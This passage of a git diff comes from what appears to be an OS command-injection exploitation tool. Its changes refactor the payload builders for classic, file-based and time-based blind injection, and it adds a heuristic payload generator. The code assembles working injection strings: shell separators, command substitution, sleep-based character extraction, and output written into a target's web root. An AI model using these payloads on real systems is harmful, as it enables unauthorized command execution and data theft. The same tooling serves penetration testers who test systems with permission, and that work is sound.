str(ascii_char) + " -ne \"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\" ]" + separator + + "sleep " + str(timesec) ) else: pass @@ -509,38 +494,36 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a": payload = (separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\")" + separator + - "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) separator = _urllib.parse.unquote(separator) @@ -548,9 +531,8 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"print($(echo $(" + cmd + ")))\n\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + - separator + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX ) else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 2a8ddf9d21..edebe80b42 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1502,6 +1502,8 @@ def tamper_scripts(stored_tamper_scripts): if "hexencode" or "base64encode" == script: settings.MULTI_ENCODED_PAYLOAD.append(script) import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] + if not stored_tamper_scripts: + settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does " @@ -1509,13 +1511,15 @@ def tamper_scripts(stored_tamper_scripts): warn_msg = "Windows targets do " elif settings.TARGET_OS != settings.OS.WINDOWS and script in settings.UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "Unix-like targets do " + elif "backticks" == script and menu.options.alter_shell: + warn_msg = "Option '--alter-shell' " if len(warn_msg) != 0: if not stored_tamper_scripts: warn_msg = warn_msg + "not support the usage of '" + script + ".py'. Skipping tamper script." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: - if not stored_tamper_scripts: - settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) + # if not stored_tamper_scripts: + # settings.print_data_to_stdout(settings.SUB_CONTENT_SIGN + import_script.split(".")[-1]) try: module = __import__(import_script, fromlist=[None]) if not hasattr(module, "__tamper__"): diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 801b885cc3..f892e9b8bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -40,6 +40,26 @@ Checks if the testable parameter is exploitable. """ +""" +Heuristic basic checks payloads generator +""" +def basic_payload_generator(): + suffix = "" + if settings.USE_BACKTICKS: + prefix = "expr " + else: + prefix = "(" + suffix = ")" + settings.BASIC_STRING = prefix + settings.CALC_STRING + suffix + settings.BASIC_COMMAND_INJECTION_PAYLOADS = [";echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "%26echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + "|echo " + settings.CMD_SUB_PREFIX + settings.BASIC_STRING + settings.CMD_SUB_SUFFIX + + settings.RANDOM_STRING_GENERATOR, + "|set /a " + settings.BASIC_STRING + "%26set /a " + settings.BASIC_STRING + ] +""" +Initializing basic level check status +""" def basic_level_checks(): settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None @@ -134,13 +154,15 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites """ def command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): check_parameter = check_parameter.lstrip().rstrip() + checks.perform_payload_modification(payload="") + basic_payload_generator() if menu.options.alter_shell: basic_payloads = settings.ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS else: basic_payloads = settings.BASIC_COMMAND_INJECTION_PAYLOADS settings.CLASSIC_STATE = True try: - checks.perform_payload_modification(payload="") + # checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 @@ -735,12 +757,6 @@ def do_check(url, http_request_method, filename): warn_msg += "time-based injections because of inherent high latency time." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # Check for "backticks" tamper script. - if settings.USE_BACKTICKS == True: - if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: - warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. " - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - perform_checks(url, http_request_method, filename) # All injection techniques seems to be failed! diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index e199fa3a74..6d03cf211d 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -311,15 +311,15 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: - cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + # if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + # cmd = settings.WIN_PYTHON_INTERPRETER + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" + # else: + cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: rand_num = randv1 + randv2 cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" else: - if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: cmd = "expr " + str(randv1) + " %2B " + str(randv2) + "" else: cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index 0b8fbba36c..58bf283136 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -36,44 +36,22 @@ def decision(separator, TAG, randv1, randv2): "\"') do @set /p = " + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: - if not settings.WAF_ENABLED: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$((" + str(randv1) + "%2B" + str(randv2) + "))" + if settings.USE_BACKTICKS or settings.WAF_ENABLED: + math_calc = settings.CMD_SUB_PREFIX + "expr " + str(randv1) + " %2B " + str(randv2) + settings.CMD_SUB_SUFFIX else: - if settings.USE_BACKTICKS: - math_calc = "`expr " + str(randv1) + " %2B " + str(randv2) + "`" - else: - math_calc = "$(expr " + str(randv1) + " %2B " + str(randv2) + ")" + math_calc = settings.CMD_SUB_PREFIX + "(" + str(randv1) + "%2B" + str(randv2) + "))" if settings.SKIP_CALC: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - TAG + "" + TAG + "" + - separator - ) - else: - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) else: - if settings.USE_BACKTICKS: - payload = (separator + - "echo " + TAG + - math_calc + - TAG + "" + TAG + "" - ) - else: - payload = (separator + - "echo " + TAG + - math_calc + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) + payload = (separator + + "echo " + TAG + + math_calc + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ @@ -96,16 +74,14 @@ def decision_alter_shell(separator, TAG, randv1, randv2): payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + TAG + - TAG + "')\"" + - separator + TAG + "')\"" ) else: payload = (separator + settings.LINUX_PYTHON_INTERPRETER + " -c \"print('" + TAG + "'%2Bstr(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + "))" + "%2B'" + TAG + "'%2B'" + - TAG + "')\"" + - separator + TAG + "')\"" ) return payload @@ -126,25 +102,13 @@ def cmd_execution(separator, TAG, cmd): ) else: settings.USER_APPLIED_CMD = cmd - if settings.USE_BACKTICKS: - cmd_exec = "`" + cmd + "`" - payload = (separator + - "echo " + TAG + - "" + TAG + "" + - cmd_exec + - "" + TAG + "" + TAG + "" + - separator - ) - else: - cmd_exec = "$(" + cmd + ")" - payload = (separator + - "echo " + TAG + - "$(echo " + TAG + ")" + - cmd_exec + - "$(echo " + TAG + ")" + TAG + "" + - separator - ) - + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + "echo " + TAG + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + + cmd_exec + + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + TAG + ) return payload """ @@ -164,23 +128,14 @@ def cmd_execution_alter_shell(separator, TAG, cmd): TAG + TAG + " $(" + cmd + ") "+ TAG + TAG + "')\"" + "') do @set /p=%i " + settings.CMD_NUL ) - else: - - if settings.USE_BACKTICKS: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo `" + cmd + ")`" + - TAG + "'%2B'" + TAG + "')\"" + - separator - ) - else: - payload = (separator + - settings.LINUX_PYTHON_INTERPRETER + - " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'$(echo $(" + cmd + "))'%2B'" + - TAG + "'%2B'" + TAG + "')\"" + - separator - ) + settings.USER_APPLIED_CMD = cmd + cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + payload = (separator + + settings.LINUX_PYTHON_INTERPRETER + + " -c \"print('" + TAG + "'%2B'" + TAG + "'%2B'" + settings.CMD_SUB_PREFIX + "echo " + cmd_exec + settings.CMD_SUB_SUFFIX + "'%2B'" + + TAG + "'%2B'" + TAG + "')\"" + ) return payload # eof diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 4699b32c30..cafa7d2664 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -35,8 +35,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - separator + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -45,7 +44,6 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + @@ -55,7 +53,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) if settings.USER_AGENT_INJECTION == True or \ @@ -87,8 +85,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_APPLIED_CMD = cmd payload = (separator + - cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + - separator + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE ) return payload @@ -110,7 +107,8 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): ) else: payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f=open('" + settings.WEB_ROOT + OUTPUT_TEXTFILE + "','w')\nf.write('" + + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX ) # New line fixation diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 74343e6445..f8101c6335 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -37,8 +37,8 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + @@ -51,30 +51,28 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): else: if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0" + separator + - "str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + - "str1=$(expr length \"$str\")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str} " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) separator = _urllib.parse.unquote(separator) @@ -83,11 +81,10 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pipe = "|" payload = (pipe + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + - "sleep " + str(timesec) + - separator + "sleep " + str(timesec) ) else: pass @@ -107,42 +104,40 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + - "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + settings.CMD_SUB_SUFFIX + "\"" ) else: if separator == ";" or separator == "%0a" : payload = (separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + - "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + - "fi" + - separator + "then " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + separator + + "else " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + separator + + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). - "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + + "str1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) separator = _urllib.parse.unquote(separator) @@ -150,11 +145,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + settings.SINGLE_WHITESPACE + # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + - "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + - separator + "[ " + str(j) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\"" + settings.CMD_SUB_SUFFIX + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) else: pass @@ -191,8 +185,8 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -210,43 +204,41 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ) else: - settings.USER_APPLIED_CMD = cmd + if separator == ";" or separator == "%0a" : payload = (separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + " )" + separator + + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str > " + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + settings.CMD_SUB_SUFFIX + separator + #"str1=${%23str}" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII - "str1=$(od -A n -t d1 < " +OUTPUT_TEXTFILE + ")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "od -A n -t d1 < " +OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str1 > " + OUTPUT_TEXTFILE + separator + - "fi" + - separator + "fi" ) - elif separator == "&&" : - separator = _urllib.parse.quote(separator) + elif separator == _urllib.parse.quote("&&") : + #separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "sleep 0 " + separator + - "str=$(" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr -d '\\n'<" + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $str" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + - "str=$(cat " + OUTPUT_TEXTFILE + ")" + separator + + "str=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. - "str1=$(expr length \"$str\")" + separator + + "str1=" + settings.CMD_SUB_PREFIX + "expr length \"$str\"" + 